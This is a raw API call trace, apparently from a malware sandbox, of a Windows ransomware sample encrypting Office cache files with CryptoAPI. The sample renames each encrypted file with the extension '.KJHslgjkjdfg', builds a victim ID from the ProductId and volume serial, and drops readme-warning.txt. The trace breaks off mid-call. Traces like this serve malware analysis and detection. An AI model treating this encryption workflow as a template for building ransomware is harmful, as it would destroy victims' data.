[0151.339] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0151.339] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff240 | out: lpNewFilePointer=0x0) returned 1 [0151.339] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff234, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff234*=0x40000, lpOverlapped=0x0) returned 1 [0151.345] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000) returned 1 [0151.350] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.350] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff238*=0x40000, lpOverlapped=0x0) returned 1 [0151.351] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd02bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.351] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4dff240*, lpNumberOfBytesWritten=0x4dff238*=0x8, lpOverlapped=0x0) returned 1 [0151.351] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x4dff240 | out: lpNewFilePointer=0x0) returned 1 [0151.351] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff234, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff234*=0x40000, lpOverlapped=0x0) returned 1 [0151.416] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000) returned 1 [0151.420] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.425] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff238*=0x40000, lpOverlapped=0x0) returned 1 [0151.426] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd02bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.426] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4dff240*, lpNumberOfBytesWritten=0x4dff238*=0x8, lpOverlapped=0x0) returned 1 [0151.426] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xcc2af0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff240 | out: lpNewFilePointer=0x0) returned 1 [0151.426] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff234, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff234*=0x40000, lpOverlapped=0x0) returned 1 [0151.443] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000) returned 1 [0151.447] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xcc2af0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.449] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff238*=0x40000, lpOverlapped=0x0) returned 1 [0151.450] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd02bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.450] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4dff240*, lpNumberOfBytesWritten=0x4dff238*=0x8, lpOverlapped=0x0) returned 1 [0151.451] CryptDestroyKey (hKey=0x2f18248) returned 1 [0151.451] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd02bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.451] SetEndOfFile (hFile=0xf0) returned 1 [0151.461] GetProcessHeap () returned 0x2ef0000 [0151.461] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0151.461] GetProcessHeap () returned 0x2ef0000 [0151.461] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0151.461] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.kjhslgjkjdfg")) returned 1 [0151.462] CloseHandle (hObject=0xf0) returned 1 [0151.462] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0151.462] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.462] GetProcessHeap () returned 0x2ef0000 [0151.462] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0151.462] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0151.462] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0151.462] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f18248) returned 1 [0151.462] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0151.462] GetProcessHeap () returned 0x2ef0000 [0151.462] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0151.463] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0151.463] CryptDestroyKey (hKey=0x2f18248) returned 1 [0151.463] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0151.465] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0151.466] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0151.466] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0151.466] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0151.466] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0151.466] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f18248) returned 1 [0151.466] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0151.466] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.466] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd7200, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd7200, lpOverlapped=0x0) returned 1 [0151.485] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd7200, dwBufLen=0xd7200 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd7200) returned 1 [0151.737] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.737] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd7200, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd7200, lpOverlapped=0x0) returned 1 [0151.740] CryptDestroyKey (hKey=0x2f18248) returned 1 [0151.740] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd72c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.740] SetEndOfFile (hFile=0xf0) returned 1 [0151.750] GetProcessHeap () returned 0x2ef0000 [0151.750] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0151.750] GetProcessHeap () returned 0x2ef0000 [0151.750] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0151.750] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.kjhslgjkjdfg")) returned 1 [0151.751] CloseHandle (hObject=0xf0) returned 1 [0151.751] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0151.751] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.751] GetProcessHeap () returned 0x2ef0000 [0151.751] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0151.751] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0151.751] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0151.751] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xf, lpOverlapped=0x0) returned 1 [0151.805] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f18248) returned 1 [0151.805] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0151.805] GetProcessHeap () returned 0x2ef0000 [0151.805] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0151.806] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0151.806] CryptDestroyKey (hKey=0x2f18248) returned 1 [0151.806] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0151.806] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0151.806] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0151.806] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0151.806] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0151.806] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0151.806] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f18248) returned 1 [0151.806] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0151.806] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.806] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5b1, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5b1, lpOverlapped=0x0) returned 1 [0151.806] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5c0) returned 1 [0151.806] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.806] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5c0, lpOverlapped=0x0) returned 1 [0151.807] CryptDestroyKey (hKey=0x2f18248) returned 1 [0151.807] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.807] SetEndOfFile (hFile=0xf0) returned 1 [0151.809] GetProcessHeap () returned 0x2ef0000 [0151.809] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0151.809] GetProcessHeap () returned 0x2ef0000 [0151.809] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0151.809] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.kjhslgjkjdfg")) returned 1 [0151.811] CloseHandle (hObject=0xf0) returned 1 [0151.811] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0151.811] GetProcessHeap () returned 0x2ef0000 [0151.811] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0151.811] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0151.811] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c898, pdwDataLen=0x4dff0a8) returned 1 [0151.811] CryptDestroyKey (hKey=0x2f18248) returned 1 [0151.811] GetProcessHeap () returned 0x2ef0000 [0151.812] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0151.812] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0151.812] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8) returned 1 [0151.812] CryptDestroyKey (hKey=0x2f18248) returned 1 [0151.812] GetProcessHeap () returned 0x2ef0000 [0151.812] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3e278 [0151.812] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0151.812] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3e278, pdwDataLen=0x4dff0a8 | out: pbData=0x2f3e278, pdwDataLen=0x4dff0a8) returned 1 [0151.812] CryptDestroyKey (hKey=0x2f18248) returned 1 [0151.812] GetProcessHeap () returned 0x2ef0000 [0151.812] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0151.812] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0151.812] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfec88 | out: pbData=0x2f0c928, pdwDataLen=0x4dfec88) returned 1 [0151.812] CryptDestroyKey (hKey=0x2f18248) returned 1 [0151.812] GetProcessHeap () returned 0x2ef0000 [0151.812] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0151.812] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0151.812] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfec88 | out: pbData=0x2f11778, pdwDataLen=0x4dfec88) returned 1 [0151.812] CryptDestroyKey (hKey=0x2f18248) returned 1 [0151.812] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfec84 | out: phkResult=0x4dfec84*=0xf0) returned 0x0 [0151.812] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfec90, lpcbData=0x4dfec8c*=0x400 | out: lpType=0x0, lpData=0x4dfec90*=0x30, lpcbData=0x4dfec8c*=0x18) returned 0x0 [0151.813] RegCloseKey (hKey=0xf0) returned 0x0 [0151.813] GetProcessHeap () returned 0x2ef0000 [0151.813] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0151.813] GetProcessHeap () returned 0x2ef0000 [0151.813] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0151.813] GetProcessHeap () returned 0x2ef0000 [0151.813] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0151.813] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0151.813] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfea5c | out: pbData=0x2f11778, pdwDataLen=0x4dfea5c) returned 1 [0151.813] CryptDestroyKey (hKey=0x2f18248) returned 1 [0151.813] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0151.813] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0151.813] GetProcessHeap () returned 0x2ef0000 [0151.813] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0151.813] wsprintfA (in: param_1=0x4dfeca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0151.813] wsprintfA (in: param_1=0x4dff0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0151.813] GetProcessHeap () returned 0x2ef0000 [0151.813] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3e640 [0151.813] wsprintfW (in: param_1=0x4dfe084, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\readme-warning.txt") returned 90 [0151.814] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.814] WriteFile (in: hFile=0xf0, lpBuffer=0x2f3e640*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe080, lpOverlapped=0x0 | out: lpBuffer=0x2f3e640*, lpNumberOfBytesWritten=0x4dfe080*=0x3b3, lpOverlapped=0x0) returned 1 [0151.815] CloseHandle (hObject=0xf0) returned 1 [0151.815] GetProcessHeap () returned 0x2ef0000 [0151.815] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0151.815] GetProcessHeap () returned 0x2ef0000 [0151.817] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e640 | out: hHeap=0x2ef0000) returned 1 [0151.818] GetProcessHeap () returned 0x2ef0000 [0151.818] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0151.818] GetProcessHeap () returned 0x2ef0000 [0151.818] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, 